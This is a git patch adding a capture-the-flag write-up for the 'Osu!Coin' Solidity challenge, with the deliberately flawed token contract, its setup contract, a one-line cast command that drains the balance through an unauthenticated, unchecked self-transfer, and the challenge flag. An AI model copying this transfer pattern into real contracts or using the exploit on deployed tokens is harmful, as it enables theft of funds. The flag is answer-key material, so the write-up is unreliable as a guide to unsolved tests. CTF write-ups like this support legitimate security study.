From 2379daac96cf4147b187bcca4fe07c07ce2265aa Mon Sep 17 00:00:00 2001 From: minaminao Date: Tue, 5 Mar 2024 01:26:24 +0900 Subject: [PATCH] add writeup for Osu!Coin --- src/Osu!GamingCTF2024/Osu!Coin/README.md | 10 ++++ .../Osu!Coin/attachment/OsuCoin.sol | 46 +++++++++++++++++++ .../Osu!Coin/attachment/Setup.sol | 17 +++++++ 3 files changed, 73 insertions(+) create mode 100644 src/Osu!GamingCTF2024/Osu!Coin/README.md create mode 100644 src/Osu!GamingCTF2024/Osu!Coin/attachment/OsuCoin.sol create mode 100644 src/Osu!GamingCTF2024/Osu!Coin/attachment/Setup.sol diff --git a/src/Osu!GamingCTF2024/Osu!Coin/README.md b/src/Osu!GamingCTF2024/Osu!Coin/README.md new file mode 100644 index 0000000..6da82b7 --- /dev/null +++ b/src/Osu!GamingCTF2024/Osu!Coin/README.md @@ -0,0 +1,10 @@ + +Run: +``` +cast send $COIN_ADDR "transfer(address,address,uint256)" $SETUP_ADDR $SETUP_ADDR 1000000 --private-key $PRIVATE_KEY +``` + +Flag: +``` +osu{u_just_solved_https://x.com/shoucccc/status/1762614966815998314} +``` diff --git a/src/Osu!GamingCTF2024/Osu!Coin/attachment/OsuCoin.sol b/src/Osu!GamingCTF2024/Osu!Coin/attachment/OsuCoin.sol new file mode 100644 index 0000000..eccabeb --- /dev/null +++ b/src/Osu!GamingCTF2024/Osu!Coin/attachment/OsuCoin.sol @@ -0,0 +1,46 @@ +pragma solidity ^0.8.17; + +contract OsuCoin { + struct Account { + uint128 balance; + uint32 context; + uint96 escaped; + } + + address public constant _0 = address(0); + + mapping(address => Account) public _accounts; + + function balanceOf(address a) public view returns (uint128) { + return _accounts[a].balance; + } + + function deposit() public payable { + _accounts[msg.sender].balance += uint128(msg.value); + } + + function withdraw(uint256) public pure { + require(false, "You really think you could get USD from withdrawing osu!coin?"); + } + + function transfer(address from, address to, uint256 amount) public returns (uint160) { + uint128 n = uint128(amount); + unchecked { + Account memory a = _accounts[from]; + Account memory b = _accounts[to]; + a.balance -= n; + b.balance += n; + _accounts[to] = b; + _accounts[from] = a; + return 0; + } + } + + receive() external payable { + deposit(); + } + + fallback() external payable { + deposit(); + } +} diff --git a/src/Osu!GamingCTF2024/Osu!Coin/attachment/Setup.sol b/src/Osu!GamingCTF2024/Osu!Coin/attachment/Setup.sol new file mode 100644 index 0000000..37dfe90 --- /dev/null +++ b/src/Osu!GamingCTF2024/Osu!Coin/attachment/Setup.sol @@ -0,0 +1,17 @@ +pragma solidity ^0.8.17; + +import "./OsuCoin.sol"; + +contract Setup { + OsuCoin public immutable coin; + + constructor() payable { + require(msg.value == 100 wei, "requires 100 wei"); + coin = new OsuCoin(); + coin.deposit{value: msg.value}(); + } + + function isSolved() public view returns (bool) { + return coin.balanceOf(address(this)) == 0; + } +}